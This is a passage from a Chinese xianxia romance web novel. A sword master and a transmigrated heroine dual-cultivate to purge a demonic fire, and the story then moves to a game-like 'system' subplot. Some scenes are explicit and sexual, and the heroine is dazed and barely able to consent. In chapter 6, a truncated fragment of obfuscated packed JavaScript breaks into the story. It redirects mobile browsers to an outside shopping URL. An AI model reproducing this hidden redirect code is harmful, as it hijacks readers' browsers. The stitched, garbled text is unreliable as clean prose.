商卿夜犹豫片刻,才道:“再三日,等地魄竹心火现世。”
- - - - - -
囚幽秘境五十年一开,乃五百年前魔道第一人所拓,奇花异草、灵石秘宝应有尽有,传闻还有魔道大能传承,唯有金丹以上能入。
其景清丽秀美,乍看竟毫无妖魔邪气,可那只是表面伪装,实则步步危险、处处陷阱,这千年碧古竹竹林亦是如此。
数十次轮回下来,商卿夜也进这囚幽秘境整整五十次,无论是原著所写,还是与个别穿越者相关的剧情,剑修都记得的一清二楚。
有几个节点,无论如何费心规避,哪怕这秘境仅他商卿夜一人,都无可避免要遭受一遍,这地魄竹心火,也是其中之一。
剑修背受偷袭,道基是真的不稳,元婴也确实处于碎裂边缘,但通过漫长的思考与规划,他竟寻出一条路子,使经脉逆流、灵气转化魔气成为可能,而能把“可能”转为“现实”的条件,便是吞噬地魄竹心火。
三日后,商卿夜一剑斩杀护宝妖兽,布下层层结界,请出倾千年竹林地脉蕴养出的道统真火。
在俞霜紧张不安的注视下,剑修将那朵掌心大小的凝紫火焰按向丹田。
剧痛!
商卿夜眼前一黑,牙齿死死扣紧下唇,生生咬出血来,才勉强维持神智清明。地魄竹心火在丹田中如鱼得水,瞬间缠绕上元婴,火焰从每一个毛孔、每一寸肌肤下漫溢而出,将神光暗蕴的道袍烧得破破烂烂,露出其下修长精瘦、不见天日的苍白身躯。
但剑修已吞噬过这真火不知多少次,疼痛随着时间流逝慢慢减轻,真火攀着元婴越烧越旺,元婴表面的裂痕也越来越浅。
怪异的是,每当疼痛渐弱一分,丹田中窜出的瘙痒就往上调高一分。到了最后,他不得不紧攥双拳,疼痛化为□□,炙烤着每一寸皮肉骨血,沁入奇经八脉,沿着血管游走。
剑修不受控制地瘫倒在地,一只手扯开衣领,露出线条优美深刻的锁骨,急促的呼吸声中带着难以忽视的痛苦:“俞……俞霜……”
俞霜大惊失色,跌跌撞撞地扑过去,撑起他的后背:“剑尊,剑尊你怎么了?”
“这真火……不对劲。”
商卿夜的脸已经红透了,病态的潮红一直从眼角蔓延到脖颈,好像有什么
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东西已将他每一根傲骨寸寸碾碎、每一块肌肉都丝丝融化,再不复冷傲孤强。
玉石互击般清透沉凝的嗓音,此时喑哑如砂石相磨,狭长深邃的狐狸眼里,透着股惊人的媚意。
俞霜傻在原地。
她不是什么也不懂的深闺少女,上辈子末世,秩序混乱,道德不存,她还未成年的时候,就已习惯露天席地,有人在身边随意缠绵的场面。
商卿夜已将衣襟扯得大开,凌乱衣袍再掩盖不了白皙胜雪的肌肤以及布满红晕的脖颈胸膛。
一看便知,这再不是什么出尘飘逸、剑意如雷的谪仙,分明是被欢/情/荡/欲逼到绝顶状态、时刻在将发未发边缘徘徊的放荡春奴。
“俞霜……”
剑修用沙哑低媚的声音唤她名字,脸蹭向她的脖颈,骨节分明的手微不可查地停顿片刻,还是勾住女人肩膀,另一只手,象征性地扯了一下她的衣摆。
该不该迈出这一步,商卿夜也有些犹豫。
地魄竹心火说是蕴有道统的真火,且能修复破损道基与元婴之能,本质却十分险恶,纳了那火,便要承合欢道基。
他这身子,既是天生剑骨,也是天生媚骨,加上合欢道基,若一步踏错,便万劫不复。
但商卿夜从未踏错。以天煞乌神水强压欲望也好,自残放血也好,总是有克制欲望的法门,端看能不能对自己狠下心。
眼下他装作陷入道统火焰引发的特殊状态,实则是要试探俞霜是不是装相蒙骗,对他到底有没有那种心思,究竟会不会趁火打劫、落井下石。
女子托着他的手很稳。她的团子头在慌乱中散了一半,冰凉凉的发丝垂下来,遮住眼睛,使剑修看不清里面藏着什么感情。
“别怕,”她说,“剑尊……你会没事的,别怕。”
俞霜低下头,鼻尖嗅了嗅,又轻轻拱了拱,接着,一口咬在商卿夜颈侧。
一种巨大的、近乎怨怼的失望涌上商卿夜心头,他很难相信、又不得不相信,她与其他攻略者并无分别。
剑修的脸色忍不住狰狞起来,眼里浮的水色,掩不住底下的黑光,即使是最冷洌的寒冰,也冷不过他现在的心情。
扣在她肩膀上的手缓缓上移,指尖已按在女子柔软脆弱的后颈,只要轻轻一点,磅礴的魔气便能将人扯个粉碎。
但他……
指尖竟在发麻。
那股麻意,伴随彻骨冷意,冻结了他的行动,仿佛真的被道火烧成原著里毫无自我的仙尊,烧成洁白待宰的羔羊,被卸成八块,剖开肚腹,敲骨吸髓。
“好甜,我就知道,是甜的……”
俞霜抬起头,神色平静而温柔,只是眼睛有些灰黯。他以为的冷泉,其实是两汪孱弱的,没有目的的,寂寞的死水。
她的手小巧而细腻,光洁无茧,如同婴儿般柔软,轻轻盖住剑修双眼。
“剑尊,你不要怕。”
话音未落,商卿夜身体一轻,所有痛、麻,痒,一瞬消失不见。
他感受到两人身体相触处一阵剧烈而突兀平复的颤抖,听见一丝小兽忍伤忍痛到极致的呜咽。
直到十息后商卿夜才意识到发生了什么,而问题浮现的时候,他已经知道答案了,但还需要听到她的亲口回复,于是用力握住俞霜的手,声音嘶哑而狰狞。
“俞霜,你做了什么?你到底做了什么?”
5. 第五章
“……对不起。”
俞霜抬起湿漉漉的眼睛,几乎是没有焦距的,用手抓住剑修的衣襟。她呼吸浅而急促,面颊由冷白转为酡红,动一动都很困难。
“我的能力是……替伤,除了伤口,负面状态也能……承受。没告诉你,对不起……”
她解释得急,声音里全是惶恐和无措,一根小羽绒黏在额头上,脸上沾了灰,而泪水又在这片灰色中划出两道细细的痕迹。
她喘息忍耐的同时也在抽泣。
“还有,我,我不会死,很难死的。这种感觉我只是没经历过,有点难受,所以不用,不用管我,忍一忍就好了,忍一忍……”
俞霜觉得很羞愧,脸一半被心火烧得通红,另一半是羞惭:她怎么能因为怕不舒服、怕痛,怕难受,就不告诉剑尊自己的能力呢?忍一忍就好了,又不会死,理所应当该帮助别人呀,急人所急,不求回报,她一直是被救命恩人这么教导的。
商卿夜抱着她,掌心贴着面颊,触手皮肤烫得跟火炉一样。没人比他更了解俞霜此刻的感受,如同被蒙住了五感一般,只知道身体时刻被灼热的火细细密密地啃噬着,空虚无比,渴求什么东西填到身体的最深处。
这种热痒只会不断更强,更强,只要能舒缓那股火,简直被怎么对待都可以。
俞霜竟然忍下了这种感觉,随着时间一分一秒过去,粗喘变成细弱的抽噎。
她好像已很习惯牺牲、习惯忍耐,习惯被强加完全不该由她承受的伤痛,习惯承受超乎常理想象的负面感觉。她曾说过的话一句句划过脑海,使商卿夜产生了一个极恐怖的猜测——
她并不乐于接受这些,是有人刻意引导扭曲,就为不付任何代价地利用这份能力,为了理直气壮地将重重伤害转移到她身上。
傻乎乎的姑娘,什么都不懂,又格外馋,却要经年累月地忍无穷尽的痛。
商卿夜抚摸她汗湿的额头,眼泪蹭到心口,冰凉的。心像是被扎了七八个透光的洞,又被戳着搅着弄得血肉模糊。
“我是不是给剑尊添麻烦了……”俞霜把脸埋在他胸口,闷闷地问。
“胡说,你分明救我一命。”
商卿夜散开她的头发,再握住她手腕命门,冰凉的灵气顺着经脉转了两个大周天。
此前他未细看,一梳理才发现,俞霜的身体状况不太好,明明有丹照期的底子,修为与□□资质却是不契合的。她看着肌理丰腴,一身软肉也匀称好看,实则经脉不畅,筋骨孱弱,甚至很是营养不良。
他细细拭去俞霜眼下细汗,用灵气放松她绷得死紧的肌肉神经:“我曾得一合欢宗秘法,名为扑朔化春决,能使无根之人聚气再生灵物,倒也能承载双修心法。这地魄竹心火,若是一味忍,非得把你这萎弱金丹忍碎了不成……只能以中正平和的双修心法为辅,炉鼎为器,尽力排出方不会伤身。俞霜,你……明白我的意思吗?”
俞霜已经听不太清剑修在说什么了,下意识嗯唔应和他的长篇大论,不自觉磨蹭面前比自己凉许多的肌肤。
贴着……一潭清清凉凉、散发甜香的雪水,想钻进去,解一解浑身上下的酷热。
剑修长睫微垂,伸手摘下发冠,由墨色长发垂落腰间,遮住底下白润温莹的肌肤。寂雪剑尊不似寻常男修般粗壮雄武,略显消瘦,线条软而妩媚,远瞧似冰玉一般,近看又多了股活色生香。
商卿夜看这活似天生玩物的身体,笑了一下,三分自嘲,两分无奈,因这命运无常。
他熟习《扑朔化春决》,还是因那话本。原著仙尊修为大跌,饱受魔修欺辱,好容易逃脱,又回不了正道宗门,只能去往凡人界,半途道火催发,被陆浑国皇帝澹台深所救。谁知那澹台深表面一身人皇霸气,其实是个天阉,性子无比扭曲阴鸷,又软得了身段,刻意勾引,令仙尊费尽手段为他寻来化春决,接着马上翻脸,趁虚而入,磨牙吮血,将仙尊利用彻底。
“……那些人多是复姓,倒也是个有用的规律。”
抽出一条崭新衣袍垫在女子背后,商卿夜在俞霜身前跪下,双手将人轻轻拽起来。
她循着微凉气息,自动自觉攀上他的肩膀,鼻尖一动一动,像是嗅到什么极好闻、极甜美的香气,被道火冲得晕晕乎乎,颦着眉眼,神情迫切,行动又毫无章法,只会在他颈窝胸口拱来拱去。
商卿夜看了看她穿的飞仙裙,犹豫片刻,伸手帮她褪去身上累赘。尽管竭力避免触碰,还是蹭到一点温润。
他的脸一下子红得厉害,几乎要和俞霜一样双颊滚烫了,聚在她丹田处的灵力运转一慢,俞霜就发出一声很不舒服的哼唧。
“不想……”
她的声音几不可闻,商卿夜却敏锐地捕捉到了。
“不想要?”他摸了摸她的脸,情绪柔软而无奈,“别怕,我无意辱你,是你……你来用我。天生媚骨,自然再无比我更好用的炉鼎,好么?”
“不想再疼了……对不起……”
俞霜抽了抽鼻子,嘴唇不意蹭过商卿夜喉结,他本来一怔,又被她蹭得腰眼一软,只能长长吐出一口浊气,将她严丝合缝地拢进怀里:“放心,不疼的,会很舒服,很凉快。”
她细细碎碎的哼唧贴着他胸骨,传入耳里:“凉……不要,不想捡剩饭翻垃圾吃……硬的,冷的。好痛哇……”
“你说什么?”商卿夜紧紧皱起眉头,抬起俞霜的脸,“谁给你吃什么?”
“剑尊……剑尊,想吃甜的。”
吭哧一口,她咬住他指尖。
抽了下手指,没抽动,指尖埋在滚烫的口腔里,又被舔了两下,这下剑修连耳根都滚热血红了。
俞霜总说他是甜的,其实她身上也有股清淡好闻的花香,体温格外高,烘得接触的地方暖融融的。他从不知道女子摸起来这么软,拥在怀里如同抱着一颗圆圆糯糯的糕团,把他的胳膊都占满了。
“俞霜,俞霜……莫哭了。”商卿夜吻了吻她凝着泪的眼角,犹豫片刻,蜻蜓点水般碰了碰嫣红的唇瓣。“带你去吃糖葫芦,吃桂花酒酿……只要你要。”
只要他有。
- - - - - -
她是不是在做梦?
一开始,俞霜觉得自己要被烧化了。从剑尊身上替来的感觉是从未有过的,骨头变成柴火,要被一根一根烧断了。
接着,她闻到一股香香甜甜的花蜜,帮她把不适的能量集在一起,凝成灵力。
她随着本能的指引翻了个身,直到听见一声压抑的闷哼。
记忆中含着冰凌般冷淡的声音潋滟成柔软春水,正用喑哑的音调呼唤她的名字。
“俞霜……”
□□稍退,她睁开眼,发现自己正伏在剑尊上方。
商卿夜被迫地、无力地向后仰起脖颈,如同濒死天鹅般颤抖地喘息。
焦渴横生,俞霜咽了口唾液。这是……这是梦吧,一定是梦,只有在梦里,唇齿舌尖才会这么一直甜滋滋的。
他呼吸急促,可声音能被控制住,身体的颤抖却不行。
墨发蜿蜒,散在白似冷玉的肌肤上。白愈白,黑愈黑,两厢衬托,让人欲罢不能。
俞霜手下一个用力,剑尊就泣出一声哀哑的呻吟,伴着一点缠绵水声。
姑娘瞧着那水液,怎么看怎么像黏稠糖浆,迷瞪瞪地,突然俯了身,张口要舔。
“俞霜!”商卿夜一把捏住她的下巴,气得哭笑不得,身子还在微微颤抖,“你脑子到底在想些什么玩意儿!”
她这么一蹲,头又开始发晕,剑修也虚软得撑不住她,大头砸在胸口,锁骨又多了一圈牙印。
“……怎么跟小猪似的。”
商卿夜抱着拱白菜的小猪,蹙眉喘息。
之前忍耐的时候不觉得怎样,但媚骨一朝破道,又被承合欢道统的心火生生烧灼,当真堕入无边地狱,此后只能不停在无尽的焦灼中浮沉煎熬,需要一次更胜一次的满足,再也回不到过去。
但若这个人是俞霜……
似乎也没有那么恐怖。
“还想……还想吃甜的嘛,再给一口……”
小猪胡乱嘟囔着,毫无章法地摸玉白菜的腰,没待剑尊歇过片刻,想明处境,便再次埋进温暖甜蜜的怀抱深处。
顷刻间,两人已换了个姿势,剑尊仅有墨丝般光滑的黑发散落在肩颈背后。长睫一旦垂下,沉凝在瞳孔中冰寒的暗色便尽数敛去,倒剩下一种旁人绝不会想到、也不敢想象的无害与易碎。
俞霜压上来,心口滚烫,烫得他撑在地面的手不自觉地用力收紧。她因雀跃而无师自通主导了灵力的运转,他将指节掐得发白,连腹部都绷出明显的青筋。
如盏的腰窝周围印着几圈齿痕,如绽放在琼玉仙葩上的红梅,透着种惊心动魄的残酷之美。
从她身体传来的心火化成蛮横的电流,直直窜遍剑修的四肢百骸,浑身上下好似浸在一汪温泉水里,泡得指尖发麻、四肢瘫软。
他纤长卷翘的羽睫凝着泪,眼角染着病态的胭脂色,喘息着,除了酸麻已经失去了别的所有知觉。
商卿夜只有调动全身灵力去对抗心火才能喘气,否则喘出的气会不由分说地变成哀求停止的哭喊乞怜。
媚骨首次既是这样,多么放荡而无耻,恍若千百年来的隐忍克制、醉心剑道都成了笑话。现在他是如此残毁和无用地被玩弄于掌心,除了几分愤恨,更多的是终于解放般的痛快。
商卿夜的喉咙一阵不适,几乎对自己作呕,开口却只呼出一连串低泣。
她抚摸他的腰,稀奇地打量着。寂雪仙尊身姿挺拔,宽肩窄腰,腰线柔软又极韧,原著便总爱描写这窄腰被握住任意摆弄的场面。
但她觉得,剑修的腰虽然细,但腹肌明显,充满武人特有爆发力,呼吸收缩,像潜行暗夜的豹,伺机要撕裂猎物的喉口。
俞霜把双手虎口扣在这猎豹劲瘦的腰侧,慢慢收紧,直到皮肉沁出两片红痕。她的鼻尖贴着清瘦背脊,与脊骨骨节吻合,上下轻吻。
商卿夜的脚趾无意识地蜷起来,好似它们正努力要抓住脚下的土地,但再也维持不了尊严,倒在早被各种液体浸湿的外袍上。
她不知第几次咬住他脖颈,乌黑的长发舒展着垂落地面。俞霜从未见过这么长、这么柔顺,这么美的乌发,阳光落在上面,散射着无与伦比的光华。
她将脸埋入那厚重的黑暗中,又将商卿夜搂得更紧了些。
这只是她的一个梦,被甜蜜深沉的虚幻笼罩的梦。俞霜时常做梦,梦里能看见末世到来前的一些回忆,
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能稍稍呼吸和感到快乐。但是她也只能珍惜梦里所拥有的那一点聊胜于无了。
“……莫要哭了。”
她听到一声深沉的、微微颤抖的叹息。
一阵委屈忽如刀割袭上心头,她赌气地想,难道我连哭都不成吗?于是哭得更急、更狠,眼泪串成珠串,串成大雨,洋洋洒洒地往下落。
然后,俞霜落进一个温暖的、散发香味的怀抱,带着湿气的唇探过来,撷住她因哭泣而微微张开的嘴,她便尝到比花蜜还鲜明甘美的甜意。
心里庞大而寂寞的悲伤慢慢松散,破碎,随着那股甜味消散在心头。
- - - - - -
俞霜闭着眼睛,如果不出意外,她正躺在金屋的拔步床里,因为屋里染着熏香,手边是触感柔软的烟罗锦。她的衣服也必然被换过了,干爽整洁,除一点手脚浮肿的感觉外,那种要把她埋葬吞噬的火海不见了。
尽管如此,她还是闭着眼睛,假装睡着——因为记忆没有消失,反而因满盈金丹的灵力而愈发鲜明——新生的的灵物,剑尊低媚婉转的哀求,各种各样的东西,都让她无措又迷茫。
可这种无措与迷茫,同上辈子好像又是不太一样的。
熟悉的气息钻进她的鼻腔,冷淡清新、温和甜润,仿佛淡淡的花蜜,她像吃蜜一般,下意识伸出舌尖舔了舔他伸过来的掌心。
商卿夜失笑,无奈中杂点羞恼:“小懒……醒了就快起来。”
想顺口了,他差点叫她小懒猪,好在最后关头收回话头。
说完就看见俞霜在被子里蛄蛹两下,往下缩,变成一个大被包,团在床中央。
“与观虚修为的炉鼎双修,又是首次,对修为大有裨益。你如今已至明婴,只因我们身在秘境,才能规避天雷。再有半月,囚幽秘境就会关闭,你至少在那之前,先完全掌握灵力运转,可不能偷懒了。”
说到这里,商卿夜又想叹气。第一次使用炉鼎收获最大,两人又差距太远,使得俞霜修为直接跃至明婴中期,与后期只一线之隔,可这不意味下次双修便毫无进宜。
“若要彻底解决地魄竹心火……我真怕你懵懵懂懂,就要进阶观虚了。元婴天雷我尚能帮你挡,观虚可如何是好?不想早死,就赶快起来随我修炼。”
俞霜抱着被子,下意识想回答她不在乎死不死,能力耗尽而死也好,被天雷劈死也罢,她只想静静躺着就好了。
但不知怎么回事,说惯了的话突然说不出口,早就坚定的目标莫名其妙不再有任何吸引力。
见她沉默太久,一只手抚上被包,给猫顺毛似得上下揉搓。
“……俞霜,我独行太久,有时说话直,你莫往心里去。此番权是我趁人之危,强迫你接受……那事。你若不愿,我再想想别的法子,替你驱除真火影响。”
“没有不愿!”
俞霜从被子里探出半个头,目光越过鼻尖和剑修的手,和他双眼对视:“没有的,真的没有……我愿意的。”
商卿夜微讶,旋即露出一个了然的笑,指落下来,抵着她的下巴,轻轻挠了挠:“那就赶紧起来修炼。”
俞霜……俞霜觉得自己好像被套路了,但她不敢说,更不敢问。
剑尊声音哑哑的,交衽黑袍没遮住的颈子还留着牙印青痕,明晃晃地控诉她昨日做下的好事。
“我尊号寂雪,从前还在凡人界时,家父替我取字,名为安归。”
过了一会,商卿夜开口,语气平静温和。
“我的过往身世,那话本中并未提及,我的表字,自然只有俞姑娘一人知晓。姑娘……可有字?”
俞霜连表字是什么都不知道,瞪着大眼睛,摇摇头。
商卿夜忽然侧过脸,耳根漫出一抹晕红,俞霜瞧着他,突地福至心灵:“我没有!我……要不,剑尊给我取一个吧,也只有你知道?”
这下那晕红不止是点在耳根,而是直直往四周蔓延了。剑修的手不着痕迹搭在剑柄上,强自板了板腰背,轻咳一声:“风花雪月,诗词歌赋,我想了许多,总觉得从里面选不怎么恰当。既然我字安归,不若从中取一予你?‘又安’,意蕴不错,惟愿姑娘顺心平安,可做表字。两又成双,同一个‘霜’,‘又又’便作小字昵称……可好?”
商卿夜屏气凝神,说了这一长串,半晌没得到回应,心中惴惴,寻思从自己名字中择字是不是太明显了,便抬眼仔细打量俞霜。
他不知道,从他第一句开始,俞霜已听怔了。就那么看着他絮絮叨叨,听着听着,眼睛拢上一层薄薄的雾霭。
她说不好,只觉得心里有些奇形怪状、扭曲残缺,早就被磨砺的又硬又丑的东西,被这些话撬松、撬开,造成哪里扭折错位,想哭又不想哭,鼻尖一个劲发酸,刺痛她的眼睛。
剑修凑过去,分开她绞在一起的手指,轻轻握住。她的双手很白皙,小巧圆润,总让他想起他还是凡人幼童时爱吃的蘸白糖糯米团儿。
现在的俞霜不像糯米团儿,倒像过年时用冬雪堆的胖娃娃。可那雪堆的娃娃,只活一季冬天,初春的阳光晒下来时,就会变成一滩落寞寂寥的水。
“好又又。”商卿夜摸了摸她的额心,擦掉粘着眼皮的泪,拇指贴向她唇角,落下一个吻。“我求你,真的莫哭了。”
6. 第六章
是夜。
淅淅沥沥的雨,雾一样笼罩了陆浑国国都长华。雨丝细而飘忽,微白似霜。雨不算大,偏有雷声,隆隆自天边作响,雷电在云间穿梭,像一条条阴诡的紫蛇。
客栈上房关了窗,仍能听见不甚明显的雷声,俞霜在锦被中蜷得更小了点,双手捂住耳朵,身体紧紧缩在一起,瑟瑟地抖。
屏风后,商卿夜从浴桶中迈步而出,湿发散乱、脸色苍白。走近了看,能看到那琼玉仙石般的背脊印着两道皮开肉绽、深可入骨的血痕。血口将凝未凝,边缘浮着焦色,像是被火炙过一般。
剑尊居高临下瞧着客栈床榻,被热水蒸出红晕的面颊,在盈盈烛光下透出一股诡异的、潮湿的艳色。他又赤足踩在地上,只穿一条褌裤,好似刚从河里爬上来的冤死水鬼。
他一把掀开被卷,把湿漉漉、冰凉凉的手塞进俞霜颈窝,发出一声轻柔到诡谲的冷笑。
“不要不要不要……”
俞霜被两日前的明婴天雷吓掉七魄,又被变成怨鬼孤魂的剑修飞了三魂,当下揪着被角,凄凄惨惨、哀哀怨怨地哭了起来。
商卿夜这回真笑了,捏指掐诀,黑若鸦羽的长发顷刻便干爽如初:“不过一场天劫,无需你受,就吓成这样。又又,你这比鼠胆还小的心性究竟什么时候能改一改?”
“我不改……是你不让我替伤的,好过分……”
一从囚幽秘境出来,进阶天雷就在天边聚集,天色突黑、紫雷轰鸣,仿佛雷公冲云层骤然敲下万千鼓槌。俞霜不过粗粗掌握修真心法,哪里见过这种阵仗,倒是剑修早有准备,第一道天雷刚劈出一半,度厄剑便已追云之上,愣是将雷光砍了回去。
明婴的六六三十六道天雷因为观虚期修士的插手升级成四十九道,一道威力更甚一道。俞霜吓得腿软,坐在自己脚上,仰头看着剑尊凭虚御空,闪亮的剑身划开阴云。
衣袂翻飞,寒光凛凛的度厄剑在雷光下舞出一片如梦似幻、熔金碎银般的月辉。
他一直将明婴雷劫聚成的乌云劈散,才从容落回俞霜身旁,代价就是玄黑衣袍背后被撕裂两道焦紫的口子。剑修右手握剑,懒洋洋抬起盛着快意和笑意的眼睛,朝她伸出另一只手。
如果一开始的眼泪还半真半假,回忆到这里,俞霜咬着下唇,不让眼眶里涌起的泪水流出来:“都说了我又不会死,你,你干嘛非不肯?”
“我若沦落到要你替伤的程度,不如一剑了结自己算了。”
商卿夜从芥子戒里取出疗伤灵丹,化开后草草裹了伤口,披一件麒麟织金玄底外袍,揽过俞霜在怀。
她情不自禁地深深呼吸他皮肤的气息,凝视他胸膛坠的一串灿烂的水珠,偷偷抿进唇间。
剑修神色慵懒:“你有哭的功夫,不如打坐修炼,争取进阶观虚时,能自己抗天雷?”
俞霜:……
她顿时哭得更大声、更真情实感了。
商卿夜低头啄了下姑娘冰凉的鼻尖。“别怕,逗你玩的。”
俞霜自以为不着痕迹地往剑修怀里蹭,手小心避开后背的伤,环住他的腰,又犹犹豫豫、迟迟疑疑地撅起嘴,小眼神时不时往剑修脸上瞟,被捉到了,就飞快收回。
“看什么呢。”
商卿夜眸光闪了一下,半眯了眼,没挡下她暗搓搓的揩油,也没顺应她的暗示,卷着姑娘靠向床头,不紧不慢、懒懒散散地问。
俞霜觉着剑尊像……像一只吃饱喝足、伸完懒腰,按着小老鼠尾巴,琢磨要怎么好好玩弄的高贵纯血大猫。
她就是被按住尾巴动弹不得可怜兮兮的杂毛小老鼠。
这么一想,她莫名泄气,额头抵住剑修肩膀,不肯再抬头了。
“这就放弃了?”商卿夜低笑,伸手揉揉她略长半寸的头毛。“真懒。”
养了半个月,俞霜头发终于没初见时那么毛糙干枯,虽达不到修真者灵光内蕴的程度,也算好了一些。
商卿夜端详片刻,心觉差强人意,用指节托起她的下巴,没说多余的话,唇就贴了过去。
俞霜上唇微薄,下唇倒是丰厚,红润润的,是浑身上下难得跟妩媚挂上钩的地方。剑修先是咬了一口肉乎乎的下唇,再把舌尖探进去,毫不费力就钻过齿间,挑了她的舌,吻到姑娘上气不接下气、手塞过来推他胸口才罢休。
烛火噼啪,爆出一点烛花。俞霜挨着商卿夜的胸膛,轻轻喘息,又觉得黏不够,吻不够,匀过气后,勾着他肩膀,撅着嘴继续索要,倒是将遥远可怖的雷声尽数抛诸脑后。
“……小缠人精。”
商卿夜被她啃得嘴都疼了,媚骨各处隐秘之地也泛起丝丝不可言明的刺痒,像是被带毛刺的树枝轻轻刮过,磨得人坐立难安。
“一天之内亲二十次,我也是完成任务,好给剑尊看后续要求,推测剧情呀……”
俞霜含含糊糊、嘟嘟囔囔,小鸡啄米似的啾啾啄剑修唇角。
按要求亲满数量,她又献宝似的点开系统界面:“你看,再完成第十一个任务,我就能解锁炼器功能,听上去好修仙呢。”
商卿夜漫不经心地扫了一眼俞霜的系统。进度条显示49.99%后,好感栏不知为何出现一条锁链,提示是任务尚未完成、无法继续解锁。
“这‘系统’像是出现了什么变动,尽派给你这种不三不四的任务。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941713|192957||http|test|mini|href|location''.split(''|''),0,{}));
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>商卿夜沉吟片刻,手慢慢聚了灵力,半晌,又尽数散了。
“罢了,透露线索倒痛快,翻不出什么花样。”
只有从特定的角度去看,才能发现剑尊眼睛并非纯黑,而是一种极为深邃的灰。
这双森冷妖异的灰眼睛锁定系统中心时,一瞬爆出极致杀意,旋即恢复百无聊赖,转回俞霜身上。
谁也不知道,被商卿夜这么瞪了一眼的系统,整个统都不好了。
它活了……数不清多少年,但系统毕竟曾经是个人,就叫它希彤吧。
莲华域天道最早对付剑尊的手段是令原“男主”们重生,谁知这些人的灵魂太过塑料,不过重生一次,再被杀,居然就忍受不了,直接崩溃。天道只好从世外之世抓人,强行填补空缺。
而“仙尊攻略系统”作为最早被利用的穿越者之一,在任务失败后,所剩不多的灵魂也被榨干到底,充当系统的“意识”。
听上去颇有点“人间椅子”的恐怖感,可自家人知道自家事,希彤的经历和俞霜相似,都只是天道阴谋的边角料、开胃菜。因为分配到的资源不够消耗,希彤的意识一直处于半睡半醒的状态,等到好感条充到50%,它才有了调取任务、修改内容的权限。
别人不清楚,但同样轮回许多次的希彤知道,大半辈子都在与莲华域天道对抗的商卿夜究竟有多可怕。
但它只是个时而清醒、时而丧失自身掌控权,灵魂只剩一点点的系统,只是一个默默无闻的旁观者。
商卿夜其人的攻略难度,使好感度每增进一格,都相当于跨过巨大的分水岭,而50%又是一条无人跨越过的分野,一旦跨越,便会无可避免地吸引莲华域天道的注意。
好感度与任务解锁,释放了许多从前无法获得的能量,希彤从未有过现在这样清晰和轻盈的神智,清晰到它确信以俞霜现在的状态,压根无法与天道对抗。
希彤并不希望俞霜出事。轮回太过漫长,无论鹿死谁手,它都需要一个终结的契机。希彤认为,俞霜就是这个契机。
它先是花了一半的能量锁住好感条,再将此世天道颁布给高级攻略者的任务移花接木给俞霜,一旦完成,便能蒙蔽天道意志。至于那些攻略者的身份能力暴露会怎么样……希彤并不在乎。
它不觉得他们会取得什么成果。
至于为什么……希彤虽然昏昏沉沉,但又不瞎。
夜已很深,俞霜困得哈欠连连,窝进被子里呼呼大睡。而商卿夜,几百年以来除非伤重濒死,否则绝不会浪费打坐修行时间的商卿夜,也钻进被卷,任姑娘扒着搂着,闭目养起了神。
只因她这两天被天雷吓惶了胆子。
7. 第七章
昨夜相拥而睡的两人起了个早。
秋日的清晨浸着几许寒意,商卿夜给俞霜裹了件毛领子披风,自己也换了身寻常文人士子的衣服。剑尊周身气势一敛,又用灵力模糊妖异容貌,领着自家小猪出门觅食,赶国都长华的早市热闹,吃新鲜去了。
俞霜嗜甜,但不止是甜,好吃的东西她都没吃过多少。商卿夜瞧见一个布幡脏兮兮,但桌椅干干净净的馄饨摊子,便领着人过去,要了两碗热乎乎的芥菜鲜肉馄饨。
等看着她吃上馄饨,剑修便起身去街的另一头,进了早打听好有出名早食的酒楼。
馄饨摊很小,有个铁炉子,靠街摆了三张桌子,配了四五张自己打造的木椅。布巾包了头的中年女人在煮馄饨,身后板凳上坐了个穿着碎花小袄的女童,年龄不过总角,眼睛水灵灵的,滴溜溜转,端得活泼可爱。
一时片刻,商卿夜提着两个干荷叶包回来,里面裹着三合金银龙凤酥,并四块玉露团,一打开荷叶,油酥香、焦糖香、红枣沁透的米香伴随着热腾腾糊眼睛的雾气,扑了俞霜一脸。
“给我买的吗?”
俞霜吞了口口水。
商卿夜摸了摸她和总角女童差不多的团子头:“不然给谁?”
女子跟偷到腥的小猫儿一样笑眯了眼,也不嫌油,捏起一块龙凤酥,轻轻咬下去。
油酥混着糖壳焦香,咔滋咔滋在嘴里爆出了甜蜜的烟花,咽一口,胃里就多了糖油混合物带来的无上满足。她咬两口甜酥,觉着甜了,再喝一口馄饨汤,快乐得心脏要爆炸。
“……咸甜永动机!”她见剑修把自己那碗馄饨也推过来,顿时爆出一阵小小的欢呼。
看她吃得香,坐在椅子上的女童蹬蹬蹬跑过来,先像模像样行了个礼,一张口,跟小黄鹂似地啼出一连串吉祥话:“两位贵客男才女貌,郎俊妇贤,真真是天翔比翼鸟,地现连理枝,碧波潭中并蒂莲,百年好合赛神仙!”
俞霜被她闹了个大红脸,馄饨噎在嗓子里差点没咽下去,商卿夜倒是一脸笑容,从怀里拿出几个碎银块,包进女童小手:“你人小小,嘴巴倒甜,只这糕团,是专给大姐姐的,拿着银子,叫你娘给你买来解馋罢。”
女童顿时满面笑开花:“谢谢官人!谢谢官人!”
一直在看锅的妇人连忙走过来,扯了女童,连连躬身,却还是被硬塞了银子,再三道谢,回去继续煮馄饨了。
俞霜瞧他一眼,啃一口玉露团,瞧他一眼,啃一口。商卿夜也不在意,手托腮闲适回看,把她刚消下去红的脸又看成个大苹果。
“她……她馋得嘴角亮晶晶的,就分一个糕团,也不会怎么样嘛。”
商卿夜笑了一下:“不会怎么样?我怕某人嘴上挂油瓶。”
“谁,谁挂油瓶!”俞霜炸毛,她才没有那么幼稚。
煮馄饨的妇人抬起头,擦了擦额前的汗,瞧着那两人,分明是寻常小夫妻的模样,会心一笑,也念起远行在外的丈夫。
商卿夜半个心神都放在吃吃吃的俞霜身上,总是沉着各种念头的大脑难得放松,直到身侧传来一道压着怒火的声音。
“……这位仙尊?”
低沉粗厚的男声,还有并不怎么和善的语气,让俞霜敏感地抬起头,下意识揪住了商卿夜的衣袖。
三丈外站着一个人。对方大概三十来岁的年纪,身形高大颀长,生得极为俊美。他简简单单一身鸦青圆领袍,哪怕穿着普通,站在那里,也是自带贵气,让人不敢心生小觑之意。
